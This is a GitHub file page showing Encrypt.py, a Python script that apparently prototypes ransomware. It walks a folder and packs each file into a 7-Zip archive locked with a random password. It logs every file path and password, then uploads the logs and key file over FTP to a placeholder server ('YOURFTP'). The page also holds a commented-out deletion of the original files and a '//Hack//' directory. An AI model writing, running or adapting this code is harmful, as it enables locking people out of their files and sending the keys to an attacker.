-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathEncrypt.py
More file actions
81 lines (64 loc) · 2.3 KB
/
Copy pathEncrypt.py
File metadata and controls
81 lines (64 loc) · 2.3 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
import os
import zipfile
import subprocess
import uuid
import ftplib
def get_filepaths(directory):
"""
This function will generate the file names in a directory
tree by walking the tree either top-down or bottom-up. For each
directory in the tree rooted at directory top (including top itself),
it yields a 3-tuple (dirpath, dirnames, filenames).
"""
file_paths = [] # List which will store all of the full filepaths.
# Walk the tree.
for root, directories, files in os.walk(directory):
for filename in files:
# Join the two strings in order to form the full filepath.
filepath = os.path.join(root, filename)
file_paths.append(filepath) # Add it to the list.
return file_paths # Self-explanatory.
# Run the above function and store its results in a variable.
full_file_paths = get_filepaths("C:\\Temp\\Test")
txtfilePath = "C:\\Temp\\LogPython.txt"
txtPwdPath = "C:\\Temp\\LogPwdPython.txt"
if os.path.isfile(txtfilePath):
os.remove(txtfilePath) #Delete file
txtfile = open(txtfilePath, "w")
for file in enumerate(full_file_paths):
txtfile.write(file[1])
txtfile.write("\n")
print (file)
txtfile.write(str(os.path.getmtime(file[1])))
txtfile.write("\n")
print (os.path.getmtime(file[1]))
password = uuid.uuid4().hex
txtfile.write(password)
txtfile.write("\n")
subprocess.call(
['C:\\Program Files\\7-Zip\\7z.exe', 'a', file[1] + '.zip', '-mx9', "-p" + password] + [file[1]])
#os.remove(file[1]) #Delete file
txtfile.close()
password = uuid.uuid4().hex
zf = zipfile.ZipFile('C:\\Temp\\LogPython.zip', mode='w')
try:
zf.write('C:\\Temp\\LogPython.txt')
finally:
zf.close()
subprocess.call(
['C:\\Program Files\\7-Zip\\7z.exe', 'a', 'C:\\Temp\\LogPythonPwd' + '.zip', '-mx9', "-p" + password] + [
"C:\\Temp\\Test"])
txtPassword = open(txtPwdPath, "w")
txtPassword.write(password)
txtPassword.close()
session = ftplib.FTP('YOURFTP', 'YOURLOGIN', 'YOURPASS')
#session.cwd('//Hack//') # move to correct directory
f = open(txtfilePath, 'r')
session.storbinary('STOR ' + 'LogPython', f)
f.close()
f = open(txtPwdPath, 'r')
session.storbinary('STOR ' + 'LogPwdPython', f)
f.close()
session.quit()
#Voir les fichiers dans fileZila info au dessus + port 21.
print ("End")